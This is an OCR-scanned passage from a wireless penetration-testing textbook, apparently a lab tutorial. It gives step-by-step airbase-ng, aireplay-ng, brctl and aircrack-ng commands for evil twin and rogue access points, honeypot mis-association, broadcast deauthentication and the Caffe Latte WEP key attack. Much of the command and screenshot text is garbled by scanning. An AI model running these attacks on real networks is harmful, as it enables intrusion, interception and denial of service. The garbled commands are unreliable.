J0:0B -/C:D@:8D -94 147 ivi GQ) Bh 54 WPAZ CCMP PSK Downstairs 


STATION PWR Rate Lost Frames Probe 


(not associated) 80:1F:02:8F:34:05 GQ c ; A473 Wireless Lab 
(not associated) 78:E4:00:46:D9: -99 ‘ ‘ 8 Upstairs 
H0:227:8B0:62:60:08 E0:CB:10:6B6:A4: -81 j ? ( 9 
C:D3:60D:274:768:C0 78:18: 8BfGEs4/s,: ras Je : 58 
‘D3:60D:27A:7B8:CO 60:76:5ArRh0; 04: -63 ‘ ; 19 
9C:03:60:27A:7B:CO E4:98:D6°85°TEE: -7 1 : 
C:D3:60:2A:78:CO 20:10: 74:45:36: -/3 


melena(al] ¢-105 


To release input, press Ctrl+Alt | = a eS 





9. Even airodump-ng is unable to discern that there are actually two different physical 
access points on the same channel. This is the most potent form of the evil twin. 
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What just happened? 


We created an evil twin for the authorized network and used a deauthentication attack 
to have the legitimate client connect back to us, instead of the authorized network 
access point. 


It is important to note that, in the case of the authorized access point using encryption such 
as WEP/WPA, it might be more difficult to conduct an attack in which traffic eavesdropping 
is possible. We will take a look at how to break the WEP key with just a client using the Caffe 
Latte attack in a later chapter. 


In the previous exercise, run the evil twin on different channels and observe how the client, 
once disconnected, hops channels to connect to the access point. What is the deciding factor 
based on which the client decides which access point to connect to? Is it signal strength? 
Experiment and validate. 


A rogue access point is an unauthorized access point connected to the authorized network. 
Typically, this access point can be used as a backdoor entry by an attacker, thus enabling him 
to bypass all security controls on the network. This would mean that the firewalls, intrusion 
prevention systems, and so on, which guard the border of a network, would be able to do 
little to stop him from accessing the network. 


In the most common case, a rogue access point is set to Open Authentication and no 
encryption. The rogue access point can be created in the following two ways: 


@ Installing an actual physical device on the authorized network as a rogue 
access point. (This is something | leave as an exercise to you.) Also, more than 
wireless security, this has to do with breaching the physical security of the 
authorized network. 


@ Creating a rogue access point in software and bridging it with the local authorized 
network Ethernet network. This will allow practically any laptop running on the 
authorized network to function as a rogue access point. We will look at this in 
the next experiment. 
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Time for action — cracking WEP 


Follow these instructions to get started: 





1. Let's first bring up our rogue access point using airbase-ng and give it the 
ESSID Rogue: 


® © ©) Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places ¢ Tue 7 Oct, 15:56 


root@kali: ~ 


File Edit View Search Terminal Help 
‘-# airbase-ng --essid Rogue -c 11 mond 
9:56:06 Created tap interface atO 
15:56:06 Trying to set MIU on atO to 1560 
15:56:06 Access Point with BSSID 8@:1F:02:8F:34:05 started. 
Error: Got channel -1l, expected 4 value = @. 


root@kali: ~ 


To release input, press Ctrl+Alt 





[1081 


Chapter 5 


2. Wenow want to create a bridge between the Ethernet interface, which is part of the 
authorized network, and our rogue access point interface. To do this, we will first 
install bridge-utils files, create a bridge interface, and name it Wifi-Bridge. 
The following screenshot shows the required commands in action: 


apt-get install bridge-utils 
brctl addbr Wifi-Bridge 


Let's see the following output of the command: 


© ©) Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places if Tue 7 Oct, 15:59 


a root@kali: ~ 


Con File Edit Miew Search Terminal Tabs Help 


root@@kali: ~  root@kali: ~ 


root@kali:-# apt-get install bridge-utils 
Reading package lists... Done 
Building dependency tree 
Reading state information... Done 
The following NEW packages will be installed: 
bridge-utils 
@ upgraded, 1 newly installed, @ to remove and 97 not upgraded. 
Need to get 35.5 kB of archives. 
After this operation, 145 kB of additional disk space will be used. 
Get:l http://http.kali.org/kali/ kali/main bridge-utils 1386 1.5-6 [35.5 kB] 
Fetched 35.5 kB in @s (57.3 KB/s} 
Selecting previously unselected package bridge-utils. 
(Reading database ... 34436/ files and directories currently installed.) 
Unpacking bridge-utils (from .../bridge-utils 1.5-6 i1386.deb) 
Processing triggers for man-db 
setting up bridge-utils (1.5-6) 
Error: Timeout was reached 
root@kali:-# bretl addbr wWifi-Bridge 
root@kali:~# 


root@kali: ~ i 
To release input, press Ctrl+Alt og #8 eSB 
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3. Wewill then add both the Ethernet and the Ato virtual interface created by Airbase- 
ng to this bridge: 
brctl addif Wifi-Bridge etho 
brctl addif Wifi-Bridge atho 


The screenshot of the command as follows: 


© ©) Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places if Tue 7 Oct, 16:00 


- root@kali: ~ 


MMM File Edit View Search Terminal Tabs Help 


root@kali: ~  root@kali: ~ 
root@kali:-# bretl addif Wifi-Bridge eth 
root@kali:-# bretl addif Wifi-Bridge at@ 
root@kali:~# 


root@kkali: ~ 
To grab input, press Ctrl+G 
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4, \ewill then bring with these interfaces up to bring the bridge up with the 
following commands: 


ifconfig etho 0.0.0.0 up 
Ifecontig athod 0.0.0.0 Wp 


The screenshot of the command as follows: 


© ©) Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places if Tue 7 Oct, 16:00 


MMM File Edit View Search Terminal Tabs Help 


root@kali: ~ 


root@kali: ~  root@kali: ~ 
root@kali:~# ifconfig eth® 0.0.0.0 up 

root@kali:~# ifconfig at@ @.0.0.0 up 

root@kali:~# Jj 


root@kali: ~ 





To release input, press Ctrl+Alt 
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5. Wewill then enable IP forwarding in the kernel to ensure that packets 
are forwarded: 


echo 1 > /proc/sys/net/ipv4/ip forward 


The screenshot of the command as follows: 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places ¢ Tue 7 Oct, 16:01 


» root@kali: ~ 


es File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ 


-~# echo 1 > /proc/sys/net/ipv4/ip forward 


an | 


root@kali: ~ 


To release input, press Ctrl+Alt 





1112] 


Chapter 5 


6. Brilliant! We are done. Now, any wireless client connecting to our rogue access 
point will have full access to the authorized network using the wireless-to-wired 
Wifi-Bridge we just built. We can verify this by connecting a client to the rogue 
access point. Once connected, if you are using Vista, your screen might look like 
the following: 


a, “§. Set Network Location 


Successtully set network settings 


Network name: Rogue 

Location type: Private 
This allows you to see other computers and 
devices, while making your computer 
discoverable, 


View computers and devices on the network 
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7. Notice that it receives an IP address from the DHCP daemon running on 
the authorized LAN: 


afl] Wireless Network Connection Status 


Network Connection Details 


Network Connection Details: 
Property Value 
Connection-specific DN... 
Description Intel(R) WiFi Link 5100 
Physical Address O0-22-FB-35-FC-~44 
DHCP Enabled No 
IPv4 IP Address 192.168.1.10 
IPv4 Subnet Mask 
IPv4 Default Gateway 197.168.1.1 
[Pv ONS Server 192.168.1.1 
IPvé WINS Server 
NetBIOS aver Tcpip En... ‘Yes 
Link4ocal |Pv6 Address fe60::693d fad9:1424:c019%11 
IPv6b Default Gateway 
IPv6 DNS Server 





8. Wecan now access any host on the wired network from this wireless client using 
this rogue access point. Next, we will ping the gateway on the wired network: 


Gee CAwindows'system32\cmd.exe 


Microsoft Windows ([VYersion 6.1.7661 1] 
Copyright ¢c> 2669 Microsoft Corporation. ALI] Pights reserved. 


CoNUsers*Cam?ping 192.168.1.1 


Pinging 192.168.1.1 with 32 hytes of data: 

Reply from 192.168.1.1: bytes=32 time=ims TTL=64 
192 .168.1.1: bytes=32 time=ims TTL=64 
192.168.1.1: bytes=32 time=ims TTL=64 

Reply from 192.166.1.1: bytes=32 time=ims TIL=64 


Ping statistics for 192.168.1.1: 


Packets: Sent = 4, Received = 4, Lost = 8 CO loss>, 
Approximate round trip times in milli-seconds: 
Minimum = ims, Maximum = ims, Average = ims 


C= \Users*Cam> 
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What just happened? 


We created a rogue access point and used it to bridge all the authorized network LAN traffic 
over the wireless network. As you can see, this is a really serious security threat as anyone 
can break into the wired network using this bridge. 





Have a go hero — rogue access point challenge 


Check whether you can create a rogue access point that uses WPA/WPA2-based encryption 
to look more legitimate on the wireless network. 





Pop quiz—attacks on the WLAN infrastructure 


Q1. What encryption does a rogue access point use in most cases? 


1. None. 
2. WEP. 
3. WPA. 
4. WPA2. 


Q2. What is the advantage of having the same MAC address as the authorized access point 
in an evil twin? 

It makes detecting the evil twin more difficult. 

It forces the client to connect to it. 


It increases the signal strength of the network. 


a oe I 


None of the above. 
Q3. What do DoS attacks do? 


They bring down the overall throughput of the network. 

They do not target the clients. 

They can only be done if we know the network WEP/WPA/WPA2 credentials. 
All of the above. 


ee es 


Q4. What do rogue access points do and how can they be created? 


1. They allow backdoor entry into the authorized network. 

2. They use WPA2 encryption only. 

3. They can be created as software-based access points or can be actual devices. 
4. Both1 and 3. 
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Summary 


In this chapter, we explored different ways to compromise the security of the Wireless 
LAN infrastructure: 

Compromising default accounts and credentials on access points 

Denial of service attacks 


Evil twins and MAC Spoofing 


¢- ¢ © «6¢ 


Rogue access points in the enterprise network 


In the next chapter, we will take a look at different attacks on the wireless LAN client. 
Interestingly, most administrators feel that the client has no security problems to 
worry about. We will see how nothing could be furthers from the truth. 


[116] 





"Security is just as strong as the weakest link." 


Famous Quote in Information Security Domain 


Most penetration testers seem to give all their attention to the WLAN 
infrastructure and don't give the wireless client even a fraction of that. 
However, it is interesting to note that a hacker can gain access to the 
authorized network by compromising a wireless client as well. 


In this chapter, we will shift our focus from the WLAN infrastructure to the 
wireless client. The client can be either a connected or isolated unassociated 
client. We will take a look at the various attacks that can be used to target 
the client. 





We will cover the following topics: 


¢ ¢ ¢©¢—l6UHm™lClUM 


Honeypot and Mis-Association attacks 

The Caffe Latte attack 

Deauthentication and disassociation attacks 
The Hirte attack 

AP-less WPA-Personal cracking 
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Honeypot and Mis-Association attacks 


Normally, when a wireless client such as a laptop is turned on, it will probe for networks 
it has previously connected to. These networks are stored in a list called the Preferred 
Network List (PNL) on Windows-based systems. Also, along with this list, the wireless 
client will display any networks available in its range. 


A hacker may do one or more of the following things: 


@ Silently monitor the probes and bring up a fake access point with the same ESSID 
the client is searching for. This will cause the client to connect to the hacker 
machine, thinking it is the legitimate network. 


@ Create fake access points with the same ESSID as neighboring ones to persuade the 
user to connect to him. Such attacks are very easy to conduct in coffee shops and 
airports where a user might be looking to connect to a Wi-Fi connection. 


@ Use recorded information to learn about the victim's movements and habits, 
as we show in detail in a later chapter. 


These attacks are called Honeypot attacks, because the hacker's access point is 
mis-associated with the legitimate one. 


In the next exercise, we will carry out both these attacks in our lab. 


Time for action — orchestrating a Mis-Association attack 





Follow these instructions to get started: 


1. Inthe previous labs, we used a client that had connected to the Wireless Lab access 
point. Let's switch on the client but not the actual Wireless Lab access point. Let's 
now run airodump-ng mono and check the output. You will very soon find the 
client to be in the not associated mode and probing for Wireless Lab and other 
SSIDs in its stored profile: 
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Applications Places Tt fr] Sat & Nov, 16:07 


reatikall: = 


CIPHER AUTH ESSI0 


PSK overythingwillprobahl ynothookay 





E) roangpkali: - La 





2. Tounderstand what is happening, let's run Wireshark and start sniffing on the mono 
interface. As expected, you might see a lot of packets that are not relevant to our 
analysis. Apply a Wireshark filter to only display Probe Request packets from the 
client MAC you are using: 


> a 


*) Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places Pa b_] Fri 26 Sep, 22:27 
Capturing from monO [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 
© 4a Qo VY¥FiieG 


Filter: 8:;94:F6:62:1E:8E) && !(wlan.fc.type_subtype==0x08) Expression... Clear 


Se ——s “es ~ meee 44 ‘~ we 


aia 48 Authentica 
“1] 48 Authentica 
aa. 48 Authentica 
i ba 48 Authentica 
i clad, 48 Authentice 
ll 48 Authentica 
11 48 Authentice 
299 48 Authentica 


128. ( Tp-LinkT_62:1le:8e GemtekTe_ 45:3 

336 128.1646180( GemtekTe_45: 36:6 Tp-LinkT_62: 

338 128.1664200( Tp-LinkT_62:1e:8e GemtekTe_45:36 

1540 128. tekTe_45:36:6 Tp-LinkT_62: 

342 128.1678990( Tp-LinkT_62:1le:8e GemtekTe_45:36:6 
3 128. 1687690 Tp-LinkT_62:1e:8e GemtekTe_45: 36 


NNNNNNNNe 


128. 1696610 -LinkT_62: le: 8e Gemtek 
» 128.1704120 Tp-LinkT_62:1le:8e Gemte 











oD Gd Goma &® @&@ hw ft 





Frame 68: 122 bytes on wire (976 bits), 122 bytes captured (976 bits) on interface 0 
Radiotap Header vO, Length 18 

IEEE 802.11 Data, Flags: 

Logical-Link Control 


9006 00 OO 12 00 Ze 48 OO OO 76 OS cO OO 
00 CO O8 O2 OO OO 33 33 Tf Ob 61 Sf e8 94 
fe 20 10 7a 45 36 6 40 b2 aa aa 03 00 00 00 
60 00 00 00 00 20 3a TT Te 00 00 it 
00 00 3d db b9 27 34 29 43 68 ff 02 00 00 00 00 _...=.. 


© mono: <live capture in progress> Fil.... Packets; 1591 Displa.... Profile: Default 


root@kali: ~ é@ Capturing from mon0 ... 





To grab input, press Ctrl+G 
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3. 





In my case, the filter would be wlan.fc.type subtype == 0x04 && wlan.sa 
== <my macs. You should now see Probe Request packets only from the client for 
the previously identified SSIDs. 


Let's now start a fake access point for the network Wireless Lab on the hacker 
machine using the following command: 


airbase-ng -c 3 -e "Wireless Lab" mono 


root@kali: ~ 


File Eqit View Search Terminal Help 
‘-—# Aairbase-ng -c 3 -e "Wireless Lab" mong 





File 


6. 


Within a minute or so, the client should connect to us automatically. This shows 
how easy it is to have un-associated clients: 


root@kali: ~ 


Edit View Search Terminal Help 
[~# airbase-ng -c 3 -e "Wireless Lab" mon@ 
°5/ Created tap interface at0 
-5/ Trying to set MIU on atO to 1500 
°58 Access Point with BSSID 8@:1F:02:8F:34:D5 started. 


: Got channel -l, expected a value = @. 
(18 Client G@:EE:BD:B3:62:DE associated (unencrypted) to ESSID: "Wireless Lab" 





Now we will try it in competition with another router. We will create a fake access 
point Wireless Lab in the presence of the legitimate one. Let's turn our access point 
on to ensure that Wireless Lab is available to the client. For this experiment, we 
have set the access point channel to 3. Let the client connect to the access point. 
We can verify this from airodump-ng, as shown in the following screenshot: 
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root@kali: ~ 


File Edit View Search Terminal Help 


CH 10 ][ Elapsed: 32 s ][ 2014-11-08 16:13 


BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 


E8:94 -61 14 0 9 54e. OPN Wireless Lab 

9C:D3 -79 13 Q@ 11 54e WPA2 CCMP PSK everythingwillprobabl ynotbeokay 
00:22 -86 9 0 1 54e WPA TKIP PSK Upstairs 

00 :0B -99 2 0 6 54 #42x\WPA2 CCMP PSK Downstairs 


BSSID STATION Rate Lost Frames Probe 


(not associated) 80:1F:02:8F:34:D5 
E8:94:F6:62:1E:8E 4C:0F:6E:70:BD:CB 
E8:94:F6:62:1E:8E O00:EE:BD:B3:62:DE 
9C:D3:6D:2A:7B:CO 70:18:8B:08:47:B6 





7. Now let's bring up our fake access point with the SSID Wireless Lab: 


root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@kali: ~ root@lkalt: ~ 
‘~# airbase-ng -c 3 -@ "Wireless Lab" mon 
16:14:42 Created tap interface at@ 
16:14:42 Trying to set MTU on at@ to 15600 
16:14:42 Access Point with BSSID 8@6:1F:02:8F:34:D5 started. 
Error: Got channel -1l, expected 4 value = @. 








8. Notice that the client is still connected to Wireless Lab, the legitimate access point: 





root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: - 

(Os eo Be Ws ed = =| 0-110 a | oa 

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER ESSID 

80:1F:02:8F:34:D5 0 3 54 OPN Wireless Lab 

E8:94:F6:62:1E:8E -69 9 54e. OPN Wireless Lab 

9C:D3:6D:2A:7B:CO -77 11 54e WPA2 CCMP PSK everythingwillprobabl ynotbeokay 
Q06:22:B0:62:6D:08 -88 1 54e WPA TKIP PSK Upstairs 

00:0B:3B:7C:D0:8D -100 ¢) 6 54 WPA2 CCMP PSK Downstairs 


BSSID STATION Rate Lost Frames Probe 


(Galohamr-|-}-lelema-hu-lep| 80:1F:02:8F:34: iC) 
E8:94:F6:62:1E:8E 4C:0F:6E:70:BD: 29 Wireless Lab 
E8:94:F6:62:1E:8E 00:EE:BD:B3:62: Q 28 
=] Ot BS Blo] Ba: ard = O10 AC | | = ee - 5 
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9. Wewill now send broadcast deauthentication messages to the client on behalf of 
the legitimate access point to break their connection: 





root@kali: ~ root@kali: ~ root@kali: ~ 


:~# aireplay-ng --deauth 0 -a E8:94:F6:62:1E:8E --ignore-negative-one mond 
16:19:04 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1 
NB: this attack is more effective when targeting 
a connected wireless client (-c <client's mac>). 
16:19:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 





10. Assuming the signal strength of our fake access point Wireless Lab is stronger than 
the legitimate one to the client, it connects to our fake access point instead of the 
legitimate access point: 





root@kali: ~ root@kali: ~ root@kali: ~ 


:~# aireplay-ng --deauth 0 -a E£8:94:F6:62:1E:8E --ignore-negative-one mond 
16:19:04 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1l 
NB: this attack is more effective when targeting 
a connected wireless client (-c <client's mac>). 
16:19:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 





11. We can verify this by looking at the airodump-ng output to see the new 
association of the client with our fake access point: 
Os ea Od - | 01-10 eo 
BSSID PWR Beacons #Data, MB ENC CIPHER AUTH ESSID 
E8:94:F6:62:1E:8E 0 2 : 3 54e. WEP WEP Wireless Lab 
9C:D3:6D:2A:7B:CO -81 2 54e WPA2 CCMP PSK everythingwillLprobabl ynotbeokay 


00:22:B0:62:6D:08 -88 3 54e WPA TKIP PSK Upstairs 
06:0B:3B:7C:D0:8D -101 0 6 54 13WPA2 CCMP PSK Downstairs 


BSSID STATION Rate Lost Frames Probe 


E8 :94:F6:62:1E:8E :OF:6E: Q - 

E8:94:F6:62:1E:8E 3:10:7A:45:36: Wireless Lab 

(not associated) °98:D6:85:EE: everythingwilLprobabl ynotbeokay 
9C :D3:6D:2A:/B:CO 

9C :D3:6D:2A:7B:CO 

00:22:B0:62:6D:08 
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What just happened? 


We just created a Honeypot using the probed list from the client and also using the same 
ESSID as that of neighboring access points. In the first case, the client automatically 
connected to us, as it was searching for the network. In the latter case, as we were closer 
to the client than the real access point, our signal strength was higher, and the client 
connected to us. 





In the previous exercise, what do we do if the client does not automatically connect to us? 
We would have to send a deauthentication packet to break the legitimate client-access point 
connection and then, if our signal strength is higher, the client will connect to our spoofed 
access point. Try this out by connecting a client to a legitimate access point, and then forcing 
it to connect to your Honeypot. 


The Catie Latte attack 


In the Honeypot attack, we noticed that clients will continuously probe for SSIDs they 
have connected to previously. If the client had connected to an access point using WEP, 
operating systems such as Windows cache and store the WEP key. The next time the 
client connects to the same access point, the Windows wireless configuration manager 
automatically uses the stored key. 


The Caffe Latte attack was invented by Vivek, one of the authors of this book, and was 
demonstrated in Toorcon 9, San Diego, USA. The Caffe Latte attack is a WEP attack that 
allows a hacker to retrieve the WEP key of the authorized network, using just the client. 
The attack does not require the client to be anywhere close to the authorized WEP 
network. It can crack the WEP key using just the isolated client. 


In the next exercise, we will retrieve the WEP key of a network from a client using the 
Caffe Latte attack. 
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Time for action — Conducting a Caffe Latte attack 





Follow these instructions to get started: 


1. Let's first set up our legitimate access point with WEP for the network Wireless Lab 
with the ABCDEFABCDEFABCDEF12 key in Hex: 


TP-LINK 


Status 
Quick Setup 
WPS 


Wireless 
-Wireless Settings 


-Wireless MAC Filtering 
- Wireless Advanced 
- Wireless Statistics 
DHCP 

Forwarding 

Secunty 

Parental Control 
Access Control 
Advanced Routing 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS 


System Tools 


WPA/WPA2 - Personal(Recommended) 


Version: 
Encryption: 


Wireless Password: 


Group Key Update Period: 


WPA/WPA2 - Enterprise 
Version: 
Encryption: 
Radius Server IP: 
Radius Port: 
Radius Password: 
Group Key Update Period: 
WEP 
Type: 
WEP Key Format: 
Key Selected 
Key 1: 
Key 2: 
Key 3: 
Key 4: 


WPA2-PSK 
AES 
88455808 


(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 


0 Seconds 


(Keep it default if you are not sure, minimum is 30, 0 means no update) 


Automatic 


Automatic _ 


1812 (1-65535, 0 stands for default port 1812) 


(in second, minimum is 30, 0 means no update) 


Automatic v 


Hexadecimal, v 
WEP Key 


abcdefabcdefabcdefabcdefl 2| 








Key Type 


128bit 

Disabled ¥ 
Disabled ¥ 
Disabled ¥ 


We do not recommend using the WEP encryption if this device operates in 802.11n mode due to the fact that WEP is not supported by 


§02.11n specification. 
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airodump-ng, as shown in the following screenshot: 


CH 2 
BSSID 


°94:F6:62:1E:8E 
-D3:6D:2A:7B:CO 
:22:B0:62:6D:08 
oO] = io | = I A Ou DLC =D) 


BSSID 


E8 :94:F6:62:1E:8E 
E8:94:F6:62:1E:8E 
(not associated) 

9C :D3:6D:2A:/B:CO 
9C :D3:6D:2A:7B:CO 
00:22:B0:62:6D:08 


][ Elapsed: 4 s ][ 2014-11-08 16:26 


PWR Beacons #Data, 
24 
15 
13 


C) 2 
-81 2 
-88 3 
-101 


STATION 


Rate 


MB ENC 
54e. 
54e 
54e 

6 54 


WEP 


WPA 


Lost 


CIPHER AUTH 


WEP 


WPA2 CCMP 


TKIP 


WPA2 CCMP 


Frames 


and searches for the WEP network Wireless Lab. 


with the parameters as shown here: 


root@kali: ~ 


i~# alrbase-ng -c 3 


 root@kali: ~ 
-a EB:94:F6:62:71E:8E 


a) 


ESSID 


Wireless Lab 
everythingwillLprobabl1 ynotbeokay 


PSK 
PSK Upstairs 
PSK Downstairs 


Probe 


Wireless Lab 
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Let's connect our client to it and verify that the connection is successful using 


everythingwilLprobabl ynotbeokay 





"Wireless Lab" 


Let's unplug the access point and ensure that the client is in the un-associated stage 


Now we use airbase-ng to bring up an access point with Wireless Lab as the SSID, 


-L -W 1 mon 
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5. Assoonas the client connects to this access point, airbase-ng starts the 
Caffe Latte attack, as shown here: 


PootgRaLL:“* aLrbase-ng -c 3 -@ ES: 94:Fb: 62: 1E:8E -@ “Wireless Lab -L -W 1 mo 
16:31:52 Created tap interface atO 

16:31:52 Trying to set ATU on atG@ to 1506 

16:31:53 Aecess Point with BSSID E8:94:F6:62:1E:8E started. 
Error: Got channel -1, expected a value = G. 

16:32:03 Got 140 bytes keystream: G0: EE:BD:B3:62:DE 
16:32:03 SKA from 6G:EE:BD:83:62:DE 

16:32:03 SKA from 00: EE: BD: 83:62: DE 

16:32:03 SKA Trom 6G:EE:BD:63:62:DE 

16:32:03 SKA from G0: EE: BD: B3:62:BE 

16:32:03 SKA from 6G:EE: BO: 63:62:DE 

16:32:03 SKA trom 9G:EE:BD:B3:62:DE 

16:32:03 SKA Trom 66:EE:BD:63:62:DE 

16:32:03 SKA From GG:EE: BD: B3:62:DE 

16:32:03 SKA trom 9G:EE:BD:B3:62:DE 

16:32:03 SKA Trom 6G:EE:BD:83:62:DE 

16:32:63 SKA from GG:EE:BD:83:62:DE 

16:32:63 SKA from GG:EE: BD: 83:62: 

16:32:03 SKA from 00: EE: BD: B3: 62: 

16:32:03 SKA Trom OG:EE: BD: 63:62: 


bel Gel Ga ff bal i 


= =. = = 
Ped Ped Pd Ped Ped Ped Ped Ped ed PP 
| i 


16:32:03 SKA from 60:EE:BD:B3: 62: 
16:3 : 


cal 
hd 


! cal i J aE 
Pot Put Pod Pd Pa Pel Pel Pel Pet Pt Pd a Pa Pa Pa Pel Pl Pd Pl Pd Pl 
= = i i i] i | oa | i rn | La 1 i 


SKA from 00: EE: BD: 63:62: 

Client 66:EE:BD:83:62:0E assoc Mi to ESSID: “Wireless Lab" 
Clrent 60:EE:BD:83:62:0E associated (WEP!) to ESSID: “Wireless Lab" 
Client 00:EE:BD:B3:62:DE assocuated (WEP) to ESSID: "Wireless Lab" 
Client 66:EE:BD:83:62:0E assocrated (WEP) to ESSID: “Wireless Lab" 
Client 66:EE:B0D:83:62:0E assocrated (WEP) to ESSID: “Wireless Lab" 
Clrent 60:EE:BD:83:62:0E associated (WEP!) to ESSID: “Wireless Lab" 
Client 60:EE:BD:83:62:DE ; dasHetated ‘i to ESSID: “Wireless Lab" 
Client 00:EE:BD:83:62:DE a WEP! to ESSID: “Wireless Lab" 
Clrent 60:EE:BD:83:62:0E a ') to ESSID: “Wireless Lab" 
Client 00: EE:BD:B3:62:DE aeanciatee | ) to ESSIO: “Wireless Lab" 
Client O6:EE:BD:83:62:0E assocrated (WEP) to ESSID: “Wireless Lab" 
Clrent 60:EE:8D:83:62:0E associated (WEP!) to ESSID: “Wireless Lab" 
Clrent 60:EE:80:83:62:0E associated (WEP! to ESSID: “Wireless Lab" 
Client 66:EE:BD:B3:62:0E assocrated (WEP!) to ESSID: “Wireless Lab" 
Client O6:EE:BD:83:62:0E assocrated (WEP) to ESSID: “Wireless Lab" 
Clrent 60:EE:8D:83:62:0E associated (WEP!) to ESSID: “Wireless Lab" 
Client 40:GF:6E:76:8D:CB assocrated (WEP!) to ESSID: “Wireless Lab" 
Client 40:G6F:6E:76:80:CB assocrated (WEP) to ESSID: “Wireless Lab" 
Clrent 40:GF:6E:76:B80:CB associated (WEP) to ESSID: “Wireless Lab" 
Client 40: GF: 6E: 70:60: CB associated | Mi to ESSID: “Wireless Lab" 
Starting Caffe-Latte attack against 4C:GF:6E:70:B0:CB at 160 pps. 


Ei i 


16: 
16:3 
16:3 
16:3 
16: 
16: 
16: 
16: 
16: 
16:3 
16:3 
\16:3 


ad 


bel Gal ba Gal 


kal | 


Gal Ca Gal Gal 


bal fa Ga 


ioe 





6. Wenowstart airodump-ng to collect the data packets from this access point only, as 
we did before in the WEP cracking scenario: 


root@kali:-# airodump-ng mon@ --bssid 4C:0F:6E:70:BD:CB -w keyst rean| 





7. \Nealso start aircrack-ng as in the WEP-cracking exercise we did before to begin 
the cracking process. The command line willbe aircrack-ng filename, where 
the filename is the name of the file created by airodump-ng. 
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What just happened? 


We were successful in retrieving the WEP key from just the wireless client without requiring 
an actual access point to be used or present in the vicinity. This is the power of the Caffe 
Latte attack. 


In basic terms, a WEP access point doesn't need to prove to a client that it knows the WEP 
key in order to receive encrypted traffic. The first piece of traffic that will always be sent to 
a router upon connecting to a new network will be an ARP request to ask for an IP. 


The attack works by bit flipping and replaying ARP packets sent by the wireless client post 
association with the fake access point created by us. These bit flipped ARP Request packets 
cause more ARP response packets to be sent by the wireless client. 


Bit-flipping takes an encrypted value and alters it to create a different encrypted value. In this 
circumstance, we can take an encrypted ARP request and create an ARP response with a high 
degree of accuracy. Once we send back a valid ARP response, we can replay this value over 
and over again to generate the traffic we need to decrypt the WEP key. 


Note that all these packets are encrypted using the WEP key stored on the client. Once we 
are able to gather a large number of these data packets, aircrack-NG is able to recover 
the WEP key easily. 





Try changing the WEP key and repeat the attack. This is a difficult attack and requires some 
practice to orchestrate successfully. It would also be a good idea to use Wireshark and 
examine the traffic on the wireless network. 


We have seen deauthentication attacks in previous chapters as well in the context of the 
access point. In this chapter, we will explore this attack in the context of the client. 


In the next lab, we will send deauthentication packets to just the client and break an 
established connection between the access point and the client. 
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Attacking the Client 


Time for action — deauthenticating the client 





Follow these instructions to get started: 


1. Let's first bring our access point Wireless Lab online again. Let's keep it running 
on WEP to prove that, even with encryption enabled, it is possible to attack the 
access point and client connection. Let's verify that the access point is up using 
ailrodump-ng: 


]{ Elapsed: 4 5s ][ 2014-11-08 16:46 
PWR Beacons #Data, #/s CH ENC CIPHER AUTH ESSID 
-7B:CQ -77 2 ¢ @ 11 54e WPA? CCMP PSK everythingwilLprobablynotb 


pea ate er Q 103 5 G) 3 54e WEP WEP Wireless Lab 
"60:08 -8/ 5 c G 1 54e WPA TKIP PSK Upstairs 





CH 12 ][ Elapsed: 1 min ][ 2014-11-08 16:41 
BSSID PWR Beacons #Data, #/s C MB ENC CIPHER AUTH ESSID 


-94:F6:62: G B91 54 1 


3.5 WEP WEP OPN Wireless Lab 
"D3 :6D:7A:, -f/ 25 28 08 11 5 
1 5 
5B 


4a 
4e WPAZ2 CCMP PSK everythingwillprobablynotb 
I1@:22:B80:62: -64 22 9 G 4e WPA TKIP PSK Upstairs 
°66:03:59:9C: -96 2 G G 4 
5 


J0:0B:3B8:/C:De: -161 i) G) G) 6 


ea WPA? CCMP PSK BTHub3-R9Q5 
4 WPA? CCMP PSK Downstairs 


BSSID STATION Rate Lost Frames Probe 


EB:94:F6:62:1E:8E  4C:6F:6E:/6:80:' A3 54 -54 a4 

E8:94:F6:67:1E:8E O60:EE:BD:B3:672: G@ - 1 278 Wireless Lab 
(mot associated) BO:1F:@7: : : 

SC:D3:60:2A:/8:C@ 70:10:78: 

O60 :727:B0:62:60:08 5C:F6:Dc: 





3. Wewill now run aireplay-ng to target the access point connection: 





root@kali: ~ root@kali: ~ root@kali: ~ 


root@kali:~# aireplay-ng --deauth 0 -a E8:94:F6:62:1E:8E --ignore-negative-one mond 
16:19:04 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1l 
NB: this attack is more effective when targeting 


a connected wireless client (-c <client's mac>). 
16:19:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 
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4, Theclient gets disconnected and tries to reconnect to the access point. We can 
verify this using Wireshark just as we did earlier: 


















Filter: wihan.aidr==:00:EE:B DB 3:62: DE ‘* | Expretcion.. Clear Save 

Nia Tine Source Destination Pratocal Length info 
2435 12. 22260900" O01 eerbdibargaide Broadcast go2.11 130 Prebe Request, SNEO4G1, FNSO, Flagee....ec00, SSIDSRTOMtCaSt 
SS 17. 7143108 To LankT io: le: ie OO :aecbd:bs:6a:de m3.11 2h Probe Pecponse, Shesit, Pao, Flagem.......-, AlelOo, S5Tiesireless Lab 
26% 17, 725K Tee Linkt G2 1e+Ba Cod dt = Bed t Ss ete de a. 11 265 Probe Risponae, Sess, Peed, Flages.......-,. Bl=lO0, SSifesrelass Lab 
